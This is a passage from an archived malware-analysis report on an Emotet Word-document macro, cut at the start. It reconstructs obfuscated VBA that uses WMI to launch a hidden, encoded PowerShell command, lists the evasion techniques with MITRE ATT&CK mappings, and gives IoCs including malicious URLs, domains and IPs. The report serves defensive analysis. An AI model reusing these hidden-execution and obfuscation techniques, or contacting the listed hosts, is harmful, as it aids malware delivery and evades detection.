GetObject(\"winmgmtS:win32_ProcessStartuP\")\r\nIn the code showwindow property of Awzttocpmk is defined as False ( Hidden Window, MITRE ATT\u0026CK\r\nT1143 ):\r\n62. GetObject(winmgmtS:win32_processSp).showwindow = False\r\n💡\r\nShowWindow function Sets the specified window's show state. The False value hides the window.\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 16 of 21\n\nLet's remember our main operation again.\r\n4. Do While Fcbxktofsye.Create(er \u0026 Ysjchbkkg, Swdtudgkjzjs, Awzttocpmk, Dzzebvtpbu)\r\nLoop\r\nWe've found Fcbxktofsye , er , Ysjchbkkg , Swdtudgkjzjs and Awzttocpmk until now .\r\nNow, we must find Dzzebvtpbu variable, but it is uninitialized.\r\n63. Dzzebvtpbu = \"\"\r\nWe revealed all variables. Let's remember them:\r\n23. Set Fcbxktofsye = GetObject(winmgmtS:win32_Process)\r\n25. er = \"\"\r\n48. Ysjchbkkg = \"Powershell -w hidden -en JABBAHoAeQB0AGoAaAB6AGcAYQB1AG0AaQBnAD0AJwBOAHYAeABkAHgAZwBjAGMAYgBuA\r\n49. Swdtudgkjzjs = \"\"\r\n61. Set Awzttocpmk = GetObject(\"winmgmtS:win32_ProcessStartuP\")\r\nLet's put 23., 25. , 48. , 49. , 61. , and 63. in their places in 4 :\r\n52. Do While GetObject(winmgmtS:win32_Process).Create(\"\" \u0026 \"Powershell -w hidden -en JABBAHoAeQB0AGoAaAB6AGcAYQ\r\nLoop\r\n💡\r\n\u0026 operator generates a string concatenation of two expressions.\r\nIn this Do While loop, Create method of the Win32_Process class is used.\r\n💡\r\nThe Create WMI class method creates a new process.\r\nSyntax:\r\nuint32 Create(\r\n [in] string CommandLine,\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 17 of 21\n\n[in] string CurrentDirectory,\r\n [in] Win32_ProcessStartup ProcessStartupInformation,\r\n [out] uint32 ProcessId\r\n);\r\nTherefore, the first variable is the command line to execute. It is a PowerShell command in this code.\r\nThe second variable is CurrentDirectory. If this parameter is NULL as in this code, the new process will have the\r\nsame path as the calling process.\r\nThe third variable is ProcessStartupInformation, like winmgmtS:win32_ProcessStartuP in this example.\r\n💡\r\nThe Win32_ProcessStartup abstract WMI class represents the startup configuration of a Windows-based process. The class is defined as a method type definition, which means that it is only used for\r\npassing information to the Create method of the Win32_Process class.\r\nThe last variable is the global process identifier that can be used to identify a process.\r\nSummary\r\nThe purpose of this document, as the first part of the Emotet Technical Analysis Series is to demonstrate how to\r\nreveal heavily obfuscated Visual Basic macro codes in a recent Emotet malware document. Briefly, this\r\nobfuscated VBA code embedded in the Word document executes a PowerShell command using VMI.\r\nSo far, adversaries used the following techniques to obfuscate VBA codes in the analyzed document:\r\n1. Using hundreds of never-used loops, declarations, conditions, type conversions, and variable assignments.\r\n2. Using empty macros.\r\n3. Inserting many instances of a string ( =mmuusns= ) to the content of several variables.\r\n4. ShowWindow property is set to False to hide the created process appearing on the user's task bar.\r\n5. Hiding some variables in User Forms , instead of putting them in the macro codes.\r\n6. Hiding some variables in properties of form variables such as Tag and GroupName properties.\r\n7. Using Split function to split a string to its substrings by a given delimiter ( =mmuusns= ). The delimiter\r\nis the random string used before.\r\n8. Joining substrings to create the original string by the Join function.\r\n9. Concatenating strings with + and \u0026 operators.\r\n10. Using alternating case strings like winmgmtS:win32_ProcessStartuP to bypass simple case-sensitive\r\nfilters.\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 18 of 21\n\n11. Using ChrW conversion and wdKey enumeration such as wdKeyS to obfuscate characters.\r\n12. Using WMI to create a process instead of cmd . If WMI activity is not monitored, it is hard to detect\r\ncreation of the malicious process. However, if WMI activity is monitored, WMI process creation gives blue\r\nteams a strong signal to investigate further since it is not something commonly seen in business processes.\r\n13. Using uninitialized variables as the Null character.\r\n15. Adding dozens of space characters to variables. Then, the Trim function is used to strip leading and\r\ntrailing strings.\r\n16. Using useless functions, such as the CVar type conversion function.\r\nWe will analyze and reveal behaviors of the PowerShell command in the second part of this Emotet\r\nTechnical Analysis series.\r\nMITRE’s ATT\u0026CK Techniques Observed\r\nInitial Access Execution Defense Evasion\r\nT1192 Spearphishing Link T1059 Command-Line Interface\r\nT1140 Deobfuscate/Decode Files or\r\nInformation\r\nT1193 Spearphishing\r\nAttachment\r\nT1086 PowerShell T1143 Hidden Windows\r\n  T1064 Scripting T1064 Scripting\r\n  T1204 User Execution  \r\n \r\nT1047 Windows Management\r\nInstrumentation\r\n \r\nIndicator of Compromises (IoCs)\r\nDelivery Documents\r\nFF76FF1440947E3DD42578F534B91FDB8229C1F40FED36A3DD5688DBC51F0014\r\nEmotet Executables\r\ncb463bc2cfbe95d234afc0d3708babb85c7e29089d3691ab0ba6695eeeccb60f\r\nDomains (serves delivery documents)\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 19 of 21\n\nahc.mrbdev.com\r\nalokhoa.vn\r\nhonamcharity.ir\r\nlvita.co\r\nselloderaza.cl\r\nDomains (serves Emotet executables)\r\n5kmtechnologies.com\r\ne-twow.be\r\nqwqoo.com\r\nmagnificentpakistan.com\r\nsiwakuposo.com\r\nyesimsatirli.com\r\nURLs (serves delivery documents)\r\nhxxps://alokhoa.vn/wp-content/uploads/lm/1-91751097-8408196-fcan6yhfsu-gg5ak/\r\nhxxp://honamcharity.ir/mmth4/Documentation/gepvh74lcq7h/\r\nhxxp://lvita.co/tmp/Reporting/\r\nhxxp://www.selloderaza.cl/wp-snapshots/balance/e2o6-62079720-0865-srgnquu24o-ppcdh20p/\r\nURLs (serves Emotet executables)\r\nhxxp://ahc.mrbdev.com/wp-admin/qp0/\r\nhxxp://e-twow.be/verde/in6k/\r\nhxxps://humana.5kmtechnologies.com/wp-includes/KdR9xbBq1/\r\nhxxps://magnificentpakistan.com/wp-includes/ha5j0b1/\r\nhxxps://www.qwqoo.com/homldw/3piyy4/\r\nhxxp://siwakuposo.com/siwaku2/X5zB0ey/\r\nhxxp://yesimsatirli.com/baby/HsWjaCfoR/\r\nIPs (serves delivery documents)\r\n45.117.169.96\r\n149.129.92.191\r\n158.58.186.204\r\n186.64.116.35\r\nIPs (serves Emotet executables)\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 20 of 21\n\n83.150.215.163\r\n111.90.144.211\r\nSource: https://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 21 of 21",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code"
	],
	"report_names": [
		"emotet-technical-analysis-part-1-reveal-the-evil-code"
	],
	"threat_actors": [],
	"ts_created_at": 1775438984,
	"ts_updated_at": 1775791265,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/3da4e7d77f8277d640d12a39fcdfd2a422a1da11.pdf",
		"text": "https://archive.orkl.eu/3da4e7d77f8277d640d12a39fcdfd2a422a1da11.txt",
		"img": "https://archive.orkl.eu/3da4e7d77f8277d640d12a39fcdfd2a422a1da11.jpg"
	}
}